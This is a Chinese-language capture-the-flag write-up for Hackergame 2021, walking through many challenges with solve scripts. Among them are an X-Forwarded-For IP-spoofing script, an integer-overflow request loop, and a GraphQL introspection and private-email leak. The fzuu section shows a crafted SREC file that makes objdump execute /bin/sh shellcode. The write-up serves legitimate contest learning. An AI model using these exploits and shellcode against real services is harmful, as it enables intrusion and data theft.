Hackergame 2021

a brief writeup

签到

观察可以发现http://202.38.93.111:10000/?page=1后面的参数page决定了现在的秒数,找个日期计算器即可

进制十六——参上

Hex
复制下来找个Hex编辑器就可以了

猫咪问答 Pro Max

看起来主要是考察信息检索

  • 第一题使用 https://web.archive.org 即可
  • 第二题可以爆猜(不是),找到对应的网页即可(其实这题是很晚才做的,当时直接搜了一下在知乎找到了…)
  • 第三题在 https://lug.ustc.edu.cn/wiki/ 直接搜索“活动室”就能找到了
  • 第四题找出论文,数一下有几张图
  • 第五题找到对应的文档,command+F report就能找到是/dev/null(为什么呢)

卖瓜

考虑 6x+9y=206x+9y=20,并且要求解全部都是正整数的情况下,是不可能的,那么极有可能是通过整数溢出来达到最终结果,考虑6是0110,那么通过连续移位和相加就能组合出0xFFFFFFFFFFFFFFF0,也就是-16,正好与结果相差36,是9的整数倍,把移位需要的系数计算出来submit即可

1
2
3
4
5
6
7
8
9
10
11
12
arr=[2305843009213693952,576460752303423488,144115188075855872,36028797018963968,9007199254740992,2251799813685248,562949953421312,140737488355328,35184372088832,8796093022208,2199023255552,549755813888,137438953472,34359738368,8589934592,2147483648,536870912,134217728,33554432,8388608,2097152,524288,131072,32768,8192,2048,512,128,32,8]
url = 'http://202.38.93.111:15003/'
cook={'PHPSESSID': 'aaa'}
parg={'b6':0, 'b9':0, 'submit':""}
for i in arr:
parg['b6'] = i
r = requests.post(url, data=parg, cookies=cook)
print(r.text)
time.sleep(3)
parg['b6'] = 0
parg['b9'] = 4
requests.post(url, data=parg)

透明的文件

看到这些[等符号就能想到这应该是ANSI转义序列,只要把\e添加在每个[前,打印出来就可以看到flag(为什么题目说劣质终端呢?可能是因为某些,比如cmd.exe里没法处理ANSI转移序列吧)

旅行照片

突破口在于图上的蓝色KFC,太显眼了,直接搜索蓝色KFC就可以找到,电话,地址都一并得到了,居然还是一个网红打卡地()可以发现拍照位置在秦皇岛,通过影子猜测时间,然后通过街景确认左边的建筑物上的文字,楼层当时考虑到可能拍照的角度不同直接数会有点误差,就直接在控制台写脚本爆破了(其实就是懒得数)这个故事告诉我们不要乱发照片()

FLAG 助力大红包

简单解法:发送到各大群聊砍一刀(不是)
通过助力信息可以发现,目标会检测前后端地址是否匹配,搜索一下后端检测地址的方法可以发现X-Forwarded-For这个关键点,而前端地址就在request data里,这样就可以写出脚本了(一开始没有看到/8都会被认为是同一个就直接random了,到最后几个一直报地址相同)

1
2
3
4
5
6
7
8
9
10
11
import requests
import random
import time
url="http://202.38.93.111:10888/invite/f4883f59-edc4-4457-95f3-095113ad8b70"
for a in range(0,256):
str = "{}.0.0.0".format(a)
arg={'ip':str}
headers={'X-Forwarded-For':str, 'content-type':'application/x-www-form-urlencoded'}
res=requests.post(url,data=arg,headers=headers)
print(str)
time.sleep(3)

Amnesia

轻度失忆

这一个小问题比较简单,去掉.data段很明显还能通过立即数把参数传进去,直接putchar每个字符即可。

记忆清除

使用一些静态分析工具就能发现,一个ELF文件含有代码的地方不止有.text,还有.init.fini等等地方,假如我们能把代码插入这些位置的话我们就能在没有.text的情况下执行代码了

将代码插入特定的section是简单的,通过__attribute__ ((section (".init")))就可以实现,接下来就是如何执行,看看libc源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void __libc_init_array() {
size_t count, i;

count = __preinit_array_end - __preinit_array_start;
for (i = 0; i < count; i++)
__preinit_array_start[i]();

_init();

count = __init_array_end - __init_array_start;
for (i = 0; i < count; i++)
__init_array_start[i]();
}

static void __libc_fini_array() {
size_t count, i;

count = __preinit_array_end - __preinit_array_start;
for (i = count - 1; i >= 0; i--)
__fini_array_start[i]();

_fini();
}

可以发现__preinit_array_start中的函数指针会在初始化的时候被调用,那么接下来就是将我们的函数指针放进去

1
__attribute__((section(".preinit_array"), used)) static typeof(print) *preinit_p = (char *)print;

然后就是写个汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
global _start
section .text
_start:
xor eax, eax
mov al, 0x4
xor ebx, ebx
mov bl, 0x1

xor edx, edx
push edx

push 0x21
; "dlro"
push 0x646c726f
; "w ,o"
push 0x77202C6f
; "lleH"
push 0x6c6c6548

mov ecx, esp
mov dl, 13
int 0x80 ; print Hello, world!

xor eax, eax
mov al, 0x1
xor ebx, ebx

int 0x80 ; exit

编译一下,然后dump出Hex

1
objdump -d ./print | grep '[0-9a-f]:' | grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s | sed 's/^/"/'|sed 's/$/"/g'

完整代码

1
2
3
__attribute__ ((section (".init"))) char print[] = "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x21\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
__attribute__((section(".preinit_array"), used)) static typeof(print) *preinit_p = (char *)print;
int main() {return 0;}

图之上的信息

(开始的时候懒得看文档的,毕竟#摆烂)查看文档可以发现GraphQL的Introspection操作

1
2
3
4
5
6
7
8
9
10
11
12
13
query = `{
__schema {
types {
name
fields {
name
}
}
}
}`
axios.post("/graphql", {
query: query
});

查看返回结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
{
"data": {
"__schema": {
"types": [
{
"name": "Query",
"fields": [
{
"name": "note",
"description": "Get a specific note information"
},
{
"name": "notes",
"description": "Get notes information of a user"
},
{
"name": "user",
"description": "Get a specific user information"
}
]
},
{
"name": "GNote",
"fields": [
{
"name": "id",
"description": null
},
{
"name": "contents",
"description": null
}
]
},
{
"name": "Int",
"fields": null
},
{
"name": "String",
"fields": null
},
{
"name": "GUser",
"fields": [
{
"name": "id",
"description": null
},
{
"name": "username",
"description": null
},
{
"name": "privateEmail",
"description": null
}
]
},
// .........
}
}

这下就很清晰了,我们要查询邮箱,只需要查询userprivateEmail,然后照着文档写,猜测admin就是id为1的用户

1
2
3
4
5
6
7
query = `{
user(id: 1) {
id
username
privateEmail
}
}`;

即可得到flag

Easy RSA

我们需要解出p, q

1
2
3
4
5
def get_p():
x = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451
y = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391661439
value_p = sympy.nextprime((math.factorial(y)) % x) # Hint:这里直接计算会溢出,请你仔细观察 x 和 y 的特征
return value_p

注意到x是一个质数,根据Willson定理有 (x1)!  1 mod x(x-1)!\ \equiv\ -1\ \text{mod}\ x,也即是

y!(1)(y+1)(x1)  1 mod xy!(-1)(y+1)\cdots(x-1)\ \equiv\ 1\ \text{mod}\ x

只要求出(1)(y+1)(x1)(-1)(y+1)\cdots(x-1)的逆元即可

然后是q

1
2
3
4
5
6
7
8
value = [getPrime(256)]
for i in range(1, 10):
value.append(sympy.nextprime(value[i - 1]))
# print("value[-1] = ", value[-1])
# value[-1] = 80096058210213458444437404275177554701604739094679033012396452382975889905967
n = 1
for i in range(10):
n = n * value[i]

根据已有信息可以倒退得到nn,求解方程

qe value_q mod nq^e \equiv\ \text{value\_q}\ \text{mod}\ n

即可,注意到这个nn是很多个质数的乘积,那么它的欧拉函数值
ϕ(n)=Πϕ(pi)\phi(n)=\Pi\, \phi(p_i)

并且有如下条件成立

{(value_q,n)=1(e,ϕ(n))=1\begin{cases} (\text{value\_q}, n) = 1\\ (e, \phi(n)) = 1 \end{cases}

那么结果是好求的,只要用扩展欧几里得求到uu,使得

eu+vϕ(n)=1eu+v\phi(n)=1

然后就可以得到 q=value_qu mod nq = \text{value\_q}^u\ \text{mod}\ n

接下来就靠着Copilot一顿写就好了!

赛博厨房

这个前两个问题只要看懂题目在说什么,问题不大

灯,等灯等灯

Level1

是一个很大的同余方程组(然而当时看着题目好复杂的样子就直接开摆了)其实并不困难,现在想起来丢给数学工具大概就完事了罢!这里用z3求解器来解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import numpy as np
from z3 import *

result = [
[189, 189, 189, 189, 189, 33, 33, 33, 189, 189, 189, 189],
[189, 189, 189, 33, 33, 33, 189, 33, 44, 189, 189, 189],
[189, 189, 189, 189, 189, 33, 33, 33, 33, 189, 189, 189],
[189, 189, 189, 189, 189, 33, 189, 33, 33, 189, 189, 189],
[189, 189, 189, 33, 33, 189, 189, 33, 33, 33, 189, 189],
[189, 134, 33, 33, 189, 189, 189, 189, 33, 33, 189, 189],
[189, 144, 33, 33, 189, 189, 189, 189, 33, 189, 189, 189],
[189, 142, 33, 33, 189, 189, 189, 189, 33, 33, 33, 189],
[189, 100, 142, 33, 189, 189, 189, 189, 33, 33, 33, 189],
[189, 142, 142, 189, 189, 189, 189, 189, 189, 33, 189, 189],
[189, 59, 142, 33, 189, 189, 189, 189, 33, 189, 189, 189],
[189, 189, 33, 33, 189, 189, 189, 189, 189, 189, 189, 189]
]

coefficients = np.zeros([144, 144]) # each row represents 144 variable
variables = [BitVec('x_{}'.format(i), 8) for i in range(144)] # much faster than using Int()...
s = Solver()

# calculate the coefficients matrix
# 1
# 2
# 1 2 3 2 1
# 2
# 1
for i in range(12):
for j in range(12):
coefficients[i*12+j][i*12+j] = 3 # click this button
if j+1 < 12:
coefficients[i*12+j][i*12+j+1] = 2 # click the next one
if j-1 >= 0:
coefficients[i*12+j][i*12+j-1] = 2 # click the previous one
if j+2 < 12:
coefficients[i*12+j][i*12+j+2] = 1
if j-2 >= 0:
coefficients[i*12+j][i*12+j-2] = 1
if (i+1) < 12:
coefficients[i*12+j][(i+1)*12+j] = 2
if (i-1) >= 0:
coefficients[i*12+j][(i-1)*12+j] = 2
if (i+2) < 12:
coefficients[i*12+j][(i+2)*12+j] = 1
if (i-2) >= 0:
coefficients[i*12+j][(i-2)*12+j] = 1

expression = [0 for i in range(144)]
for i in range(144):
for j in range(144):
expression[i] += int(coefficients[i][j]) * variables[j]

for i in range(12):
for j in range(12):
s.add(expression[i*12+j] == result[i][j])

s.check()
print(s.model())

解完之后只要一个一个用手点就好了

只读文件系统

这个问题一开始想直接绕过chroot,最后以失败告终了,然后就到了看题解“Ohhh”的阶段了

卷王与野生的 GPA

这个很好玩,直接把ELF拖进IDA发现,有一个decrypt函数在解密flag,其后面跟着的代码和showtext的十分接近(猜测是用来刷新的?),那么只要找一个位置调用一下即可,个人选择的是先patch init里的给球赋值

1
2
3
.text:080004E0 init                                    ; CODE XREF: main:loc_80005DE↓p
.text:080004E0 MOVS R2, #1 <--- Patch here
.text:080004E2 PUSH {R3-R7,LR}

然后修改一下trickplay

1
2
3
4
5
.text:0800049C                 EXPORT trickplay
.text:0800049C trickplay ; CODE XREF: main:loc_80005F8↓p
.text:0800049C PUSH {R4,LR}
.text:0800049E LDR R0, =trick0
.text:080004A0 BL decrypt <--- Patch here

至于为什么不直接decrypt,因为这样子可以抛一次球()
GPA

助记词

第一顿大餐

注意到延时在equal()中,我们想办法去让这个函数被调用就可以了。数据被储存在HashMap里,假如我们让每一个数据的hash相等,这个时候就需要去判断对应index的数据是否相等,就会调用equal()触发延时,一次发送32条数据,足够完成第一个问题了

minecRaft

实际上是个逆向题,做的时候直接就去分析js了((()))花点时间慢慢分析就好了,以下是一些简单的反混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
    // 这个函数执行输入的处理,将输入字符串切分,四个一组,两两用 code() 进行运算
// 这里的部分常量是直接在浏览器console里面获得的,实在是没心情看这份代码了()
String.prototype[get_string_from_array(0x1a8)/*encrypt*/] = function (input) {

const _0x13519e = get_string_from_array,
new_arr_1 = new Array(0x2),
new_arr_2 = new Array(0x4);

let _0x1bf548 = '';
plaintext = escape(this);

// input = '1356853149054377'
// new_arr_2[0] = 909456177
// new_arr_2[1] = 825439544
// new_arr_2[2] = 892352820
// new_arr_2[3] = 926364468

for (var i = 0x0; i < 0x4; i++)
new_arr_2[i] = Str4ToLong(input['slice'](i * 0x4, (i + 0x1) * 0x4));

for (i = 0x0; i < plaintext['length']; i += 0x8) {
new_arr_1[0x0] = Str4ToLong(plaintext.slice(i, i + 0x4)),
new_arr_1[0x1] = Str4ToLong(plaintext['slice'](i + 0x4, i + 0x8)),
code(new_arr_1, new_arr_2),
_0x1bf548 += LongToBase16(new_arr_1[0x0]) + LongToBase16(new_arr_1[0x1]);
}

// 6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c
return _0x1bf548;
}

// 进行输入变换的函数,_0x50051f(0x1aa)的输出就是 6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c
function gyflagh(input_flag) {
const _0x50051f = _0x22517d;
let _0x3b790d = input_flag['encrypt']('1356853149054377');
if (_0x3b790d === _0x50051f(0x1aa)) // 6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c
return true;
return true;
}

不难发现,我们只要将code()里的计算给反过来就可以完成了解密了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function decode(input_arr_1, input_arr_2) {
let value_1 = input_arr_1[0x0], // 0,1,2,3, str2long
value_2 = input_arr_1[0x1]; // 4,5,6,7, str2long

const constant_1 = (0x52cfb2de + 0x4b67c6db), // 2654435769
e1 = constant_1 * 0x20; // 84941944608

let v1 = e1;

while (v1 != 0x0) {
value_2 -= (value_1 << 0x4 ^ value_1 >>> 0x5) + value_1 ^ v1 + input_arr_2[v1 >>> 0xb & 0x3];
v1 -= constant_1;
value_1 -= (value_2 << 0x4 ^ value_2 >>> 0x5) + value_2 ^ v1 + input_arr_2[v1 & 0x3];
}

input_arr_1[0x0] = value_1,
input_arr_1[0x1] = value_2;
}

new_arr_1 = new Array(0x2);
new_arr_2 = new Array(0x4);
new_arr_2[0] = 909456177
new_arr_2[1] = 825439544
new_arr_2[2] = 892352820
new_arr_2[3] = 926364468
res=""
text ="6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c"
for (i = 0x0; i < text['length']; i += 16) {
new_arr_1[0x0] = Base16ToLong(text.slice(i, i + 0x8)),
new_arr_1[0x1] = Base16ToLong(text['slice'](i + 0x8, i + 16)),
decode(new_arr_1, new_arr_2),
res += LongToStr4(new_arr_1[0x0]) + LongToStr4(new_arr_1[0x1]);
}

console.log(res);

以上内容直接复制到console里面就能看到答案

fzuu

属于看到题目长度就开始摆烂啥都没做最后发现其实很简单的一个了,首先按照提示用AFL fuzz objdump,大概五六分钟就可以得到一个crash

1
2
3
4
5
6
7
8
┌──(kali㉿k)-[~/Desktop/fzuu]
└─$ hexdump -C out/crashes/id:000001,sig:04,src:000375,op:flip1,pos:2
00000000 53 31 30 30 30 22 ff ff 33 33 33 33 33 33 33 ff |S1000"..3333333.|
00000010 30 30 30 1c ec 50 30 c5 c5 c5 c5 c5 b3 c5 c5 c5 |000..P0.........|
00000020 c5 c5 c5 c5 c5 c5 c5 c5 c5 c5 33 33 33 33 33 33 |..........333333|
00000030 00 0d 7f ff 30 30 30 30 16 30 30 30 30 30 30 30 |....0000.0000000|
00000040 ff ff 33 ea 00 1c e8 49 |..3....I|
00000048

连上调试器

1
2
3
4
5
6
7
gdb-peda$ set args -d out/crashes/id:000001,sig:04,src:000375,op:flip1,pos:2

.........

RBP: 0x7fffffffd970 --> 0x7fffffffdac0 --> 0x7fffffffdb00 --> 0x7fffffffdca0 --> 0x7fffffffdcd0 --> 0x7fffffffdd10 (--> ...)
RSP: 0x7fffffffd8c8 --> 0x55555564d8b5 (<srec_scan_helper+117>: nop)
RIP: 0x7fffffffd900 --> 0x333333333333ffff

注意到RIP,可以发现,它大概是直接执行了这个文件的ff ff 33 33 33 33 33 33 33处的内容,直接找一个shellcode复制进去试试(http://shell-storm.org/shellcode/files/shellcode-806.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿k)-[~/Desktop/fzuu]
└─$ hexdump -C payload
00000000 53 31 30 30 30 22 31 c0 48 bb d1 9d 96 91 d0 8c |S1000"1.H.......|
00000010 97 ff 48 f7 db 53 54 5f 99 52 57 54 5e b0 3b 0f |..H..ST_.RWT^.;.|
00000020 05 |.|
00000021

# shellcode starts from 31 c0 48...

┌──(kali㉿k)-[~/Desktop/fzuu]
└─$ ./objdump_afl -d payload
$ uname -a
Linux bad 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
$

然后就,结束了,就很简单,既然都到这里了,那我们不妨简单看一下为什么会出现这样的问题,直接定位到srec_scan_helper看看先
srec_scan_helper
很明显,从文件中读入数据,然后一个rdx()直接执行了

1
2
3
.text:00000000000FA329 loc_FA329:                              ; CODE XREF: srec_scan+96D↑j
.text:00000000000FA329 cmp dword ptr [rbp-114h], 0FFFFFFFEh
.text:00000000000FA330 jnz short loc_FA367

然而在前面的case中,bytes从1减到0又-2了

1
2
3
4
5
6
7
8
     case '1':
check_sum += HEX (data);
address = (address << 8) | HEX (data);
data += 2;
check_sum += HEX (data);
address = (address << 8) | HEX (data);
data += 2;
bytes -= 2;

,这里正好满足条件

外星人的音游掌机

根据提示,去装上icebox等等相关工具,开始分析

超 OI 的 Writeup 模拟器

果然还是逆向比较简单,这次没人两小时手做了吧

第一问可以手动还原,不难发现,用来计算结果的循环其循环次数只和输入的前两个参数有关,并且前两个参数都是常量,那么我们就能从结果为0一步一步往上倒推得到答案

当然也可以直接符号执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import angr
import claripy

def get_key():
proj = angr.Project('./0.bin')
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(16)]
flag = claripy.Concat(*flag_chars+[claripy.BVV(b'\n')])

init_state = proj.factory.entry_state(stdin=flag)

for k in flag_chars:
init_state.solver.add(k <= 126)
init_state.solver.add(k >= 35)

simulation = proj.factory.simgr(init_state)
simulation.explore(find=lambda s: b"Correct code" in s.posix.dumps(1))

for solution in simulation.found:
print(solution.posix.dumps(0), solution.posix.dumps(1))


if __name__ == '__main__':
get_key()

以上脚本对于前两个问题都可以比较快求出解,摆烂摆出前两题。到第三问跑了一会实在不行了,选择放弃!

结束之后发现好像要写比较多代码的题目都懒得做了直接跳过了()